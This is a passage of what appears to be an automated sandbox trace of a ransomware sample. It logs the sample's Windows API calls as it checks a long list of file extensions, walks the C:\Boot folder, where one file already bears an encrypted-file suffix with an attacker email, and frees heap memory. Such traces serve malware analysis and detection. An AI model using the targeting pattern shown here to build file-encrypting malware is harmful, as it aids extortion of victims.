[0223.546] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1 [0223.546] lstrlenW (lpString=".exr") returned 4 [0223.546] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1 [0223.546] lstrlenW (lpString=".f4v") returned 4 [0223.546] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1 [0223.546] lstrlenW (lpString=".fido") returned 5 [0223.546] lstrcmpiW (lpString1=".fido", lpString2="s.dll") returned -1 [0223.546] lstrlenW (lpString=".flm") returned 4 [0223.546] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1 [0223.546] lstrlenW (lpString=".flv") returned 4 [0223.546] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1 [0223.546] lstrlenW (lpString=".frm") returned 4 [0223.546] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1 [0223.546] lstrlenW (lpString=".fxg") returned 4 [0223.546] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1 [0223.546] lstrlenW (lpString=".geo") returned 4 [0223.546] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1 [0223.546] lstrlenW (lpString=".gif") returned 4 [0223.546] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1 [0223.546] lstrlenW (lpString=".grs") returned 4 [0223.547] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1 [0223.547] lstrlenW (lpString=".gz") returned 3 [0223.547] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1 [0223.547] lstrlenW (lpString=".h") returned 2 [0223.547] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1 [0223.547] lstrlenW (lpString=".hdr") returned 4 [0223.547] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1 [0223.547] lstrlenW (lpString=".hpp") returned 4 [0223.547] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1 [0223.547] lstrlenW (lpString=".hta") returned 4 [0223.547] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1 [0223.547] lstrlenW (lpString=".htc") returned 4 [0223.547] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1 [0223.547] lstrlenW (lpString=".htm") returned 4 [0223.547] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1 [0223.547] lstrlenW (lpString=".html") returned 5 [0223.547] lstrcmpiW (lpString1=".html", lpString2="s.dll") returned -1 [0223.547] lstrlenW (lpString=".icb") returned 4 [0223.547] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1 [0223.547] lstrlenW (lpString=".ics") returned 4 [0223.547] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1 [0223.547] lstrlenW (lpString=".iff") returned 4 [0223.547] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1 [0223.547] lstrlenW (lpString=".inc") returned 4 [0223.547] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1 [0223.547] lstrlenW (lpString=".indd") returned 5 [0223.547] lstrcmpiW (lpString1=".indd", lpString2="s.dll") returned -1 [0223.547] lstrlenW (lpString=".ini") returned 4 [0223.547] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1 [0223.547] lstrlenW (lpString=".iqy") returned 4 [0223.547] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1 [0223.547] lstrlenW (lpString=".j2c") returned 4 [0223.547] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1 [0223.547] lstrlenW (lpString=".j2k") returned 4 [0223.547] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1 [0223.548] lstrlenW (lpString=".java") returned 5 [0223.548] lstrcmpiW (lpString1=".java", lpString2="s.dll") returned -1 [0223.548] lstrlenW (lpString=".jp2") returned 4 [0223.548] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1 [0223.548] lstrlenW (lpString=".jpc") returned 4 [0223.548] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1 [0223.548] lstrlenW (lpString=".jpe") returned 4 [0223.548] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1 [0223.548] lstrlenW (lpString=".jpeg") returned 5 [0223.548] lstrcmpiW (lpString1=".jpeg", lpString2="s.dll") returned -1 [0223.548] lstrlenW (lpString=".jpf") returned 4 [0223.548] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1 [0223.548] lstrlenW (lpString=".jpg") returned 4 [0223.548] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0223.548] lstrlenW (lpString=".jpx") returned 4 [0223.548] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1 [0223.548] lstrlenW (lpString=".js") returned 3 [0223.548] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1 [0223.548] lstrlenW (lpString=".jsf") returned 4 [0223.548] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1 [0223.548] lstrlenW (lpString=".json") returned 5 [0223.548] lstrcmpiW (lpString1=".json", lpString2="s.dll") returned -1 [0223.548] lstrlenW (lpString=".jsp") returned 4 [0223.548] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1 [0223.548] lstrlenW (lpString=".kdc") returned 4 [0223.548] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1 [0223.548] lstrlenW (lpString=".kmz") returned 4 [0223.548] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1 [0223.548] lstrlenW (lpString=".kwm") returned 4 [0223.548] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1 [0223.548] lstrlenW (lpString=".lasso") returned 6 [0223.548] lstrcmpiW (lpString1=".lasso", lpString2="es.dll") returned -1 [0223.548] lstrlenW (lpString=".lbi") returned 4 [0223.548] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1 [0223.548] lstrlenW (lpString=".lgf") returned 4 [0223.548] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1 [0223.548] lstrlenW (lpString=".lgp") returned 4 [0223.549] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1 [0223.549] lstrlenW (lpString=".log") returned 4 [0223.549] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1 [0223.549] lstrlenW (lpString=".m1v") returned 4 [0223.549] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1 [0223.549] lstrlenW (lpString=".m4a") returned 4 [0223.549] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1 [0223.549] lstrlenW (lpString=".m4v") returned 4 [0223.549] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1 [0223.549] lstrlenW (lpString=".max") returned 4 [0223.549] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1 [0223.549] lstrlenW (lpString=".md") returned 3 [0223.549] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1 [0223.549] lstrlenW (lpString=".mda") returned 4 [0223.549] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1 [0223.549] lstrlenW (lpString=".mdb") returned 4 [0223.549] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1 [0223.549] lstrlenW (lpString=".mde") returned 4 [0223.549] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1 [0223.549] lstrlenW (lpString=".mdf") returned 4 [0223.549] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1 [0223.549] lstrlenW (lpString=".mdw") returned 4 [0223.549] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1 [0223.549] lstrlenW (lpString=".mef") returned 4 [0223.549] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1 [0223.549] lstrlenW (lpString=".mft") returned 4 [0223.549] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1 [0223.549] lstrlenW (lpString=".mfw") returned 4 [0223.549] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1 [0223.549] lstrlenW (lpString=".mht") returned 4 [0223.549] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1 [0223.549] lstrlenW (lpString=".mhtml") returned 6 [0223.549] lstrcmpiW (lpString1=".mhtml", lpString2="es.dll") returned -1 [0223.549] lstrlenW (lpString=".mka") returned 4 [0223.549] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1 [0223.549] lstrlenW (lpString=".mkidx") returned 6 [0223.549] lstrcmpiW (lpString1=".mkidx", lpString2="es.dll") returned -1 [0223.550] lstrlenW (lpString=".mkv") returned 4 [0223.550] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1 [0223.550] lstrlenW (lpString=".mos") returned 4 [0223.550] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1 [0223.550] lstrlenW (lpString=".mov") returned 4 [0223.550] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1 [0223.550] lstrlenW (lpString=".mp3") returned 4 [0223.550] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1 [0223.550] lstrlenW (lpString=".mp4") returned 4 [0223.550] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1 [0223.550] lstrlenW (lpString=".mpeg") returned 5 [0223.550] lstrcmpiW (lpString1=".mpeg", lpString2="s.dll") returned -1 [0223.550] lstrlenW (lpString=".mpg") returned 4 [0223.550] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1 [0223.550] lstrlenW (lpString=".mpv") returned 4 [0223.550] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1 [0223.550] lstrlenW (lpString=".mrw") returned 4 [0223.550] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1 [0223.550] lstrlenW (lpString=".msg") returned 4 [0223.550] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1 [0223.550] lstrlenW (lpString=".mxl") returned 4 [0223.550] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1 [0223.550] lstrlenW (lpString=".myd") returned 4 [0223.550] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1 [0223.550] lstrlenW (lpString=".myi") returned 4 [0223.550] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1 [0223.550] lstrlenW (lpString=".nef") returned 4 [0223.550] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1 [0223.550] lstrlenW (lpString=".nrw") returned 4 [0223.550] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1 [0223.550] lstrlenW (lpString=".obj") returned 4 [0223.550] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1 [0223.550] lstrlenW (lpString=".odb") returned 4 [0223.550] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1 [0223.550] lstrlenW (lpString=".odc") returned 4 [0223.550] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1 [0223.551] lstrlenW (lpString=".odm") returned 4 [0223.551] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1 [0223.551] lstrlenW (lpString=".odp") returned 4 [0223.551] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1 [0223.551] lstrlenW (lpString=".ods") returned 4 [0223.551] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1 [0223.551] lstrlenW (lpString=".oft") returned 4 [0223.551] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1 [0223.551] lstrlenW (lpString=".one") returned 4 [0223.551] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1 [0223.551] lstrlenW (lpString=".onepkg") returned 7 [0223.551] lstrcmpiW (lpString1=".onepkg", lpString2="ces.dll") returned -1 [0223.551] lstrlenW (lpString=".onetoc2") returned 8 [0223.551] lstrcmpiW (lpString1=".onetoc2", lpString2="aces.dll") returned -1 [0223.551] lstrlenW (lpString=".opt") returned 4 [0223.551] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1 [0223.551] lstrlenW (lpString=".oqy") returned 4 [0223.551] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1 [0223.551] lstrlenW (lpString=".orf") returned 4 [0223.551] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1 [0223.551] lstrlenW (lpString=".p12") returned 4 [0223.551] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1 [0223.551] lstrlenW (lpString=".p7b") returned 4 [0223.551] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1 [0223.551] lstrlenW (lpString=".p7c") returned 4 [0223.551] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1 [0223.551] lstrlenW (lpString=".pam") returned 4 [0223.551] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1 [0223.551] lstrlenW (lpString=".pbm") returned 4 [0223.551] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1 [0223.551] lstrlenW (lpString=".pct") returned 4 [0223.551] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1 [0223.551] lstrlenW (lpString=".pcx") returned 4 [0223.551] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1 [0223.551] lstrlenW (lpString=".pdd") returned 4 [0223.551] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1 [0223.552] lstrlenW (lpString=".pdf") returned 4 [0223.552] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0223.552] lstrlenW (lpString=".pdp") returned 4 [0223.552] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1 [0223.552] lstrlenW (lpString=".pef") returned 4 [0223.552] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1 [0223.552] lstrlenW (lpString=".pem") returned 4 [0223.552] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1 [0223.552] lstrlenW (lpString=".pff") returned 4 [0223.552] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1 [0223.552] lstrlenW (lpString=".pfm") returned 4 [0223.552] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1 [0223.552] lstrlenW (lpString=".pfx") returned 4 [0223.552] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1 [0223.552] lstrlenW (lpString=".pgm") returned 4 [0223.552] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1 [0223.552] lstrlenW (lpString=".php") returned 4 [0223.552] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1 [0223.552] lstrlenW (lpString=".php3") returned 5 [0223.552] lstrcmpiW (lpString1=".php3", lpString2="s.dll") returned -1 [0223.552] lstrlenW (lpString=".php4") returned 5 [0223.552] lstrcmpiW (lpString1=".php4", lpString2="s.dll") returned -1 [0223.552] lstrlenW (lpString=".php5") returned 5 [0223.552] lstrcmpiW (lpString1=".php5", lpString2="s.dll") returned -1 [0223.552] lstrlenW (lpString=".phtml") returned 6 [0223.552] lstrcmpiW (lpString1=".phtml", lpString2="es.dll") returned -1 [0223.552] lstrlenW (lpString=".pict") returned 5 [0223.552] lstrcmpiW (lpString1=".pict", lpString2="s.dll") returned -1 [0223.552] lstrlenW (lpString=".pl") returned 3 [0223.552] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1 [0223.552] lstrlenW (lpString=".pls") returned 4 [0223.552] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1 [0223.553] lstrlenW (lpString=".pm") returned 3 [0223.553] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1 [0223.553] lstrlenW (lpString=".png") returned 4 [0223.553] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0223.553] lstrlenW (lpString=".pnm") returned 4 [0223.553] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1 [0223.553] lstrlenW (lpString=".pot") returned 4 [0223.553] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1 [0223.553] lstrlenW (lpString=".potm") returned 5 [0223.553] lstrcmpiW (lpString1=".potm", lpString2="s.dll") returned -1 [0223.553] lstrlenW (lpString=".potx") returned 5 [0223.553] lstrcmpiW (lpString1=".potx", lpString2="s.dll") returned -1 [0223.553] lstrlenW (lpString=".ppa") returned 4 [0223.553] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1 [0223.553] lstrlenW (lpString=".ppam") returned 5 [0223.553] lstrcmpiW (lpString1=".ppam", lpString2="s.dll") returned -1 [0223.553] lstrlenW (lpString=".ppm") returned 4 [0223.553] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1 [0223.553] lstrlenW (lpString=".pps") returned 4 [0223.553] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1 [0223.553] lstrlenW (lpString=".ppsm") returned 5 [0223.553] lstrcmpiW (lpString1=".ppsm", lpString2="s.dll") returned -1 [0223.553] lstrlenW (lpString=".ppt") returned 4 [0223.553] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0223.553] lstrlenW (lpString=".pptm") returned 5 [0223.553] lstrcmpiW (lpString1=".pptm", lpString2="s.dll") returned -1 [0223.553] lstrlenW (lpString=".pptx") returned 5 [0223.553] lstrcmpiW (lpString1=".pptx", lpString2="s.dll") returned -1 [0223.553] lstrlenW (lpString=".prn") returned 4 [0223.553] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1 [0223.553] lstrlenW (lpString=".ps") returned 3 [0223.553] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1 [0223.553] lstrlenW (lpString=".psb") returned 4 [0223.553] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1 [0223.553] lstrlenW (lpString=".psd") returned 4 [0223.553] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1 [0223.553] lstrlenW (lpString=".pst") returned 4 [0223.554] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1 [0223.554] lstrlenW (lpString=".ptx") returned 4 [0223.554] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1 [0223.554] lstrlenW (lpString=".pub") returned 4 [0223.554] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1 [0223.554] lstrlenW (lpString=".pwm") returned 4 [0223.554] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1 [0223.554] lstrlenW (lpString=".pxr") returned 4 [0223.554] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1 [0223.554] lstrlenW (lpString=".py") returned 3 [0223.554] lstrcmpiW (lpString1=".py", lpString2="dll") returned -1 [0223.554] lstrlenW (lpString=".qt") returned 3 [0223.554] lstrcmpiW (lpString1=".qt", lpString2="dll") returned -1 [0223.554] lstrlenW (lpString=".r3d") returned 4 [0223.554] lstrcmpiW (lpString1=".r3d", lpString2=".dll") returned 1 [0223.554] lstrlenW (lpString=".raf") returned 4 [0223.554] lstrcmpiW (lpString1=".raf", lpString2=".dll") returned 1 [0223.554] lstrlenW (lpString=".rar") returned 4 [0223.554] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0223.554] lstrlenW (lpString=".raw") returned 4 [0223.554] lstrcmpiW (lpString1=".raw", lpString2=".dll") returned 1 [0223.554] FindNextFileW (in: hFindFile=0x6d05c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xaa98d150, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xaa98d150, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xaa9c8319, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x100fc, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="BOOTSTAT.DAT.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="BOOTST~1.LOV")) returned 1 [0223.554] FindNextFileW (in: hFindFile=0x6d05c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1 [0223.554] FindNextFileW (in: hFindFile=0x6d05c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0223.555] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4100058 [0223.555] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc013, dwReserved1=0x15, cFileName=".", cAlternateFileName="")) returned 0x6d0608 [0223.688] FindNextFileW (in: hFindFile=0x6d0608, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc013, dwReserved1=0x15, cFileName="..", cAlternateFileName="")) returned 1 [0223.688] FindNextFileW (in: hFindFile=0x6d0608, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, dwReserved0=0xffffc013, dwReserved1=0x15, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0223.690] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.691] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.691] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.691] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.692] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.692] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.692] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.692] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.692] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.693] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.696] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.696] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.696] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.696] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.697] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.697] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.882] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.883] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.884] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.885] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.885] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.886] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.886] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.887] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.888] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.888] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.892] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4122078 | out: hHeap=0x670000) returned 1 [0223.892] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.893] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.894] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.894] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.895] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.895] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.896] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.897] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.897] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.898] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.898] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.899] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.900] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.900] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0223.904] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4121070 | out: hHeap=0x670000) returned 1 [0223.907] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4121070 | out: hHeap=0x670000) returned 1 [0223.925] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6c9c00, Size=0x4000) returned 0x6e7008 [0223.928] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4121070 | out: hHeap=0x670000) returned 1 [0224.024] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4121070 | out: hHeap=0x670000) returned 1 [0224.068] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0224.076] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6e7008, Size=0x8000) returned 0x6e7008 [0224.077] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0224.081] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4135098 | out: hHeap=0x670000) returned 1 [0224.082] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4135098 | out: hHeap=0x670000) returned 1 [0224.082] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4135098 | out: hHeap=0x670000) returned 1 [0224.082] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4135098 | out: hHeap=0x670000) returned 1 [0224.083] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4135098 | out: hHeap=0x670000) returned 1 [0224.083] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4135098 | out: hHeap=0x670000) returned 1 [0224.084] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4135098 | out: 